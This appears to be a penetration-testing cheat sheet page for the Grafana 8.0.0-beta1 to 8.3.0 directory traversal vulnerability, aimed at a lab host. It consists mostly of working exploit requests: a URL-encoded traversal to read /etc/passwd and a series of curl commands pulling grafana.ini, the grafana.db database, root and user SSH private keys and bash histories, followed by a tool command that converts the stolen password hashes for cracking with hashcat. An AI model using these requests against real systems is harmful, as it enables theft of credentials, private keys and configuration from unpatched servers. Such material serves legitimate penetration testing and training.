# Grafana

## Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read

{% code overflow="wrap" %}

```python
http://10.10.99.76:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

{% endcode %}

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FlZg25Efk1OIQ4R5DyXzx%2Fimage.png?alt=media&#x26;token=6a1e4050-186c-4ae2-8f35-fe671cd83dc6" alt=""><figcaption></figcaption></figure>

### Grafana Conf File

```
/etc/grafana/grafana.ini
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2Fkjy9BBDlyNQoro1YrWhw%2Fimage.png?alt=media&#x26;token=40c59728-24cf-49e4-91ef-8b591520808c" alt=""><figcaption></figcaption></figure>

### Interesting LFI Files

{% code fullWidth="false" %}

```python
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/passwd -o passwd
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/grafana/grafana.ini -o grafana.ini
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.ssh/id_rsa
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.bash_history
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.ssh/id_rsa
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.bash_history
```

{% endcode %}

## Grafana2Hashcat

We can convert the hashes from graphana to hashcat using this tool

Hashes should be in this format

HASH,SALT

{% embed url="<https://github.com/iamaldi/grafana2hashcat>" %}

```python
python3 grafana2hashcat.py grafana_hashes.txt -o output-hash.txt
```

<figure><img src="https://3420091786-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fy1ZUO45eHY8aMCLJ7OiN%2Fuploads%2FcKevjnl2GpnBG3BLR9hv%2Fimage.png?alt=media&#x26;token=bf65619c-7378-4f36-9d78-9be23eb07896" alt=""><figcaption></figcaption></figure>